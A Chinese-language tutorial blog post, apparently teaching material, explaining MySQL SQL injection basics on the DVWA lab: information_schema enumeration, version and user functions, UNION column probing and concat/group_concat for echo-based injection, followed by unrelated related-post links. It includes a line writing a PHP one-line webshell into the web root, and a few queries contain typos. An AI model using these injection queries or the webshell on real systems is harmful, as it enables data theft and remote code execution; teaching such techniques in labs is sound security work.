concat mysql sql注入_sql注入-mysql注入基础及常用注入语句
最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema数据库结构。这里面笔者通过在数据库具体的命令执行,让大家理解mysql结构以及常用语句,由此总结出SQL回显注入的基本语句。
一、mysql数据库基础-IFORMATION_SCHEMA数据库结构
在Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有存在数据库名、数据库表、表字段,其中,关键的三个表为:
SCHEMATA:存储数据库名的表
Tables:存储数据库以及数据库中的表名
Columns:存储数据库、表、以及表中的字段。
1.1 SCHEMATA ->存储数据库名的表
关键字段:SCHEMA_NAME ->数据库名称
查询语句:mysql> select schema_name frominformation_schema.schemata;
从查询结果可以看出,在information_schema.schemata表中,schema_name字段存储了当前数据库的所有数据库名称。
1.2 TABLES ->存储表名
关键字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
关键字段:TABLE_NAME ->存储表的表名
查询语句:select table_name from information_schema.tables where table_schema='dvwa';
从查询结果看可以看出,在tables表中的table_name字段,存储了dvwa数据库的表名。
1.3 COLUMNS ->存储的字段名表
关键字段:TABLE_SCHEMA ->该字段所属数据库名
关键字段:TABLE_NAME ->存储所属表的名称
关键字段:COLUMN_NAME ->该字段的名称
执行语句:
select table_schema,column_name,table_name from information_schema.columns where table_name=users and table_schema='dvwa';
从查询结果看,在columns表中,存储了数据库对应的表名以及对应的字段内容。
通过以上分析,我们得知information_schema数据库中存储着当前数据库所有的数据库、表名、字段名信息,只要执行相应的SQL语句,即可把数据库的信息爆出。由此我们可以得出一下基本的注入语句:
Select * from information_schema.schemata; //爆出数据库
Select table_name from information_schema.tables where table_schema=’dvwa’; //爆出指定数据库dvwa的所有表名
Select column_name from information_schama.columns where table_name=’users’ and table_schema='dvwa';//爆出dvwa数据库的表users的所有字段名
select (user,password) from dvwa.users; //爆出数据库users内容
二、mysql常用注入语句及函数(回显注入)
除此之外,在实际注入中还可以通过mysql的内置函数获得更多有效信息,常见有:
2.1 查询服务器主机信息
@@HOSTNAME主机名称
@@datadir——数据库路径
@@version_compile_os——操作系统版本
MariaDB [dvwa]> select @@hostname,@@datadir, @@version_compile_os;
2.2 查询数据库版本信息
Select VERSION()数据库版本信息
Select @@VERSION数据库版本信息
Select @@GLOBAL.VERSION数据库版本信息
Select database()数据库名称
MariaDB [dvwa]> select version(),@@version,@@global.version,database();
2.3 查询数据库用户信息
user()系统用户和登录主机名
current_user()当前登录用户和登录主机名
system_user()数据库系统用户账户名称和登录主机名
session_user()当前会话用户名和登录主机名
MariaDB [dvwa]> select user(),current_user(),system_user(),session_user();
2.4 枚举数据库内容
Select * from information_schema.schemata; //爆出数据库
Select table_name from information_schema.tables where table_schema=’dvwa’; //爆出指定数据库dvwa的所有表名
Select column_name from information_schama.columns where table_name=’users’ and table_schema='dvwa';//爆出dvwa指定表users的所有字段名
select (user,password) from dvwa.users; //爆出数据库users内容
select '<?php eval($_POST[cmd])?>'intooutfile '/var/www/html/dvwa/1.php'; //导出一句话木马
2.5 联合查询语句
ORDER BY n //判断当前查询结果的列数,配合union实用。ORDER BY n+1; 让n一直增加直到出现错误页面。
Union联合查询 union select …MariaDB [dvwa]> select * from dvwa.guestbook order by 3;
MariaDB [dvwa]> select * from dvwa.guestbook where name= 'test' union select 1,2,3;
MariaDB [dvwa]> select * from dvwa.guestbook where name= 'test' and 1=2 union select 1,2,3; //当页面只能显示一行结果是,需要加 and 1=2,让前面的语句执行无结果。
2.6 concat,concat_ws,group_concat函数
在实际注入中,巧妙借助concat,concat_ws,group_concat函数,可以在有效的显示空间上,将更多注入结果联合起来,显示在页面中。
Conacat()和concat_ws()
concat(str1,str2...)——没有分隔符串联多列结果。
concat_ws(separator,str1,str2,...)——含有分隔符地串联多列结果
应用场景:查询结果只有一行,一列或多列数据。
Concat()和concat_ws()函数的对比,上述两个函数功能而非常类似,只是在分隔符上的区别,两者均可以将一行多列的数据连接为一列,区别concat()连接没有连接符号。Concat_ws()可以定义连接符,用分隔符将结果连接起来。如下图所示:
注://0x3a是“:”的十六进制,在这里把它作为分隔符:的 hex 值
group_concat(str1,str2,...)
group_concat(str1,str2,...)——用逗号,串联多行结果为一行,每行结果用逗号串联。
应用场景:查询结果有一行或多行,一列或多列数据。
group_concat()可以将多行多列查询结果,显示在一行一列,并且多行结果之间用逗号”,”分隔。与concat_ws()区别可以在下图中显示出来
注://0x3a是“:”的十六进制,在这里把它作为分隔符:的 hex 值
concat,concat_ws,group_concat函数在实际注入场景中,应用于回显注入类型。可以根据回显的数据位置或回显数据列数,根据实际情况选择相应的函数。从功能上看,group_concat函数包含了concat和concat_ws的功能。
以上是关于mysql注入的重要基础,需要初学者反复练习,在实际注入环境中,才能发挥游刃有余。
concat mysql sql注入_sql注入-mysql注入基础及常用注入语句相关推荐
- ubuntu mysql sql文件_ubuntu 下mysql导入出.sql文件
1.导出整个数据库 mysqldump -u 用户名 -p 数据库名 > 导出的文件名 mysqldump -u wcnc -p waf> /home/waf.sql 2.导出一个表 my ...
- mysql sql running no_【MySql】复制出现Slave_SQL_Running: No 错误解决
收到报警,mysql的从数据库在同步的过程出现问题,已停止同步. ERROR] Slave SQL: Error "Lock wait timeout exceeded; try res ...
- sql和mysql哪个好学_SQL和MySQl有什么区别?
参考答案如下 投资者作为战略投资者,区别通过对证券母体注入战略投资的方式培养证券的内在价值与市场价 在下列关于旗形形态的陈述中,区别正确的陈述有().A.旗形出现之前,一般应有一个旗杆B.旗形持续的 ...
- mysql 笛卡尔积影响_SQL优化 MySQL版 -分析explain SQL执行计划与笛卡尔积
SQL优化 MySQL版 -分析explain SQL执行计划 作者 Stanley 罗昊 [转载请注明出处和署名,谢谢!] 首先我们先创建一个数据库,数据库中分别写三张表来存储数据; course: ...
- mysql sql option_MySQL 报错MySQL server syntax to use near 'OPTION SQL_SELECT_LIMIT=DEFAULT'
在hive的应用中,出现如下错误时You have an error in your SQL syntax; check the manual that corresponds to your MyS ...
- mysql sql field list_使用MySQL数据库出现Unknown table 'hibernate_sequence' in field list
异常信息: Caused by: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown table 'hibernate ...
- mysql sql语句大全
1.说明:创建数据库 CREATE DATABASE database-name 2.说明:删除数据库 drop database dbname 3.说明:备份sql server --- 创建 备份 ...
- linux中删除mysql用户_linux系统下mysql添加用户、删除用户、授权、修改密码等sql命令使用...
MySQL 远程登录及常用命令 MySQL服务的启动和停止 net stop MySQL net start MySQL 登陆MySQL 语法如下: MySQL -u用户名 -p用户密码 键入命令My ...
- MySQL数据库学习笔记(一)—— 基础概念
概述 数据库(DataBase) 简称 DB,按照数据结构来组织.存储和管理数据的仓库 数据库的特点 持久化存储数据,其实数据库就是一个文件系统 方便存储和管理数据 使用统一的方式来操作数据库 --- ...
最新文章
- 荣耀20搭载鸿蒙,荣耀20系列刚发布,搭载鸿蒙系统新机来袭,余承东已准备好!...
- wap问答系统工作总结
- 逻辑差学计算机,数学差的人不配学计算机?布朗大学教授告诉你一毛钱关系都没有!...
- bootstrap的td可以增加title样式_3.CSS样式的三种使用方式
- 纯真IP数据库格式详解
- 教你50招提升ASP.NET性能(二十六):对于开发人员的数据库性能技巧
- (41)Xilinx MMCM IP核配置(二)(第9天)
- android callmanager.java,如何使用Mobile-SDK-Android正确注销DJISDKManager和SDKManagerCallback应用程序?...
- 56. Merge Intervals - LeetCode
- AOP 实现请求参数打印
- STM32——库函数流水灯程序
- 数字通信原理_推荐 | 从飞鸽传书到数字信号,你不得不懂的通信原理
- 关于C2100间接寻址的问题
- Windows防火墙 命令行批量阻断攻击IP(非范围)
- tp3.2打印mysql查询语句_[tp3.2.1]sql查询语句(一)
- Java 实现扫雷与高胜率低耗时自动扫雷 AI (下)
- 程序员必备注释模板——“佛祖保佑 永无bug“
- 【CS231n】斯坦福大学李飞飞视觉识别课程笔记(十九):卷积神经网络笔记(下)
- 如何制作并使用python发布的模块压缩包和whl包,并进行pip安装和使用教程,加上传Pypi,上传之后又如何增删whl项目
- [AHK]通达信联动到同花顺下单